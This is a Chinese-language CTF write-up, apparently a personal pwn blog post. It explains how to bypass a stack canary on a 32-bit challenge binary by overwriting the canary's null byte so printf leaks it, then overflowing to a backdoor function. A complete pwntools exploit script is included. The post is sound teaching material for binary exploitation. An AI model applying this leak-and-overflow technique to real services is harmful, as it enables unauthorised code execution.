Canary绕过专题(1)——覆盖截断字符

414 字
2 分钟
Canary绕过专题(1)——覆盖截断字符

覆盖截断字符获取Canary#

先看例题

检查一下安全机制

image.png
image.png

IDA中找到漏洞函数

image.png
image.png

很贴心的给了一个backdoor

image.png
image.png

这题的栈帧挺好分析的,画个图出来

image.png
image.png

函数中有两次栈溢出可利用,第一个 read可读112字节,正好覆盖不到返回地址

第二个 read可读256字节,可以覆盖返回地址

于是思路很清晰,利用第一个 read泄露Canary值,再用第二个来覆盖返回地址

Canary的低字节被设置为 \x00,在小端序存储下,低位字节存储在最前面

我们用 printf来泄露的话,遇到**\x00**便会被截断,导致无法泄露后续的数据

因此1,如果可以覆盖掉这个**\x00**,就可以绕过printf的截断从而泄露出canary。

buf[0]......buf[95] | 00 xx xx xx |......

不过,因为我们修改了canary,因此泄露canary和利用漏洞的过程必须在同一个函数内进行,并且利用的过程需要将**\x00**恢复

image.png
image.png

可以看到,\x00被替换成了**\x0a**(使用了sendline),printf成功泄露出了后面三个值55 91 2c

那么Canary值就是

Canary = 0x2c915500

最后注意,使用读取偏移的方法截取这三个字节的时候,要把前面I got your words的18个字节算上

(我就是没注意这个导致Canary一直没泄露成功)

最后exp:

from pwn import *
context.arch = 'i386'
context.log_level = 'debug'
p = remote('ip', port)
#p = process('./canary1')
backdoor_addr = 0x08049223
p.recvuntil("say:\n")
payload1 = cyclic(96)
p.sendline(payload1)
response = p.recvuntil(b'Okay')
canary_bytes = b'\x00'+response[116:119]
canary = u32(canary_bytes)
print(hex(canary))
payload2 = b'A'*96 + p32(canary) + b'B'*8 + p32(0x42424242) + p32(backdoor_addr)
p.recvuntil(b'next?\n')
p.send(payload2)
p.interactive()

支持与分享

如果这篇文章对你有帮助,欢迎分享给更多人或赞助支持!

赞助
Canary绕过专题(1)——覆盖截断字符
https://joker233.top/posts/canary-bypass-1-null-byte-overwrite/
作者
joker233
发布于
2025-11-01
许可协议
CC BY-NC-SA 4.0

评论区

Profile Image of the Author
joker233
Aspiring to master the art of pwn.
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
标签
站点统计
文章
10
分类
3
标签
7
总字数
10,627
运行时长
0
最后活动
0 天前

目录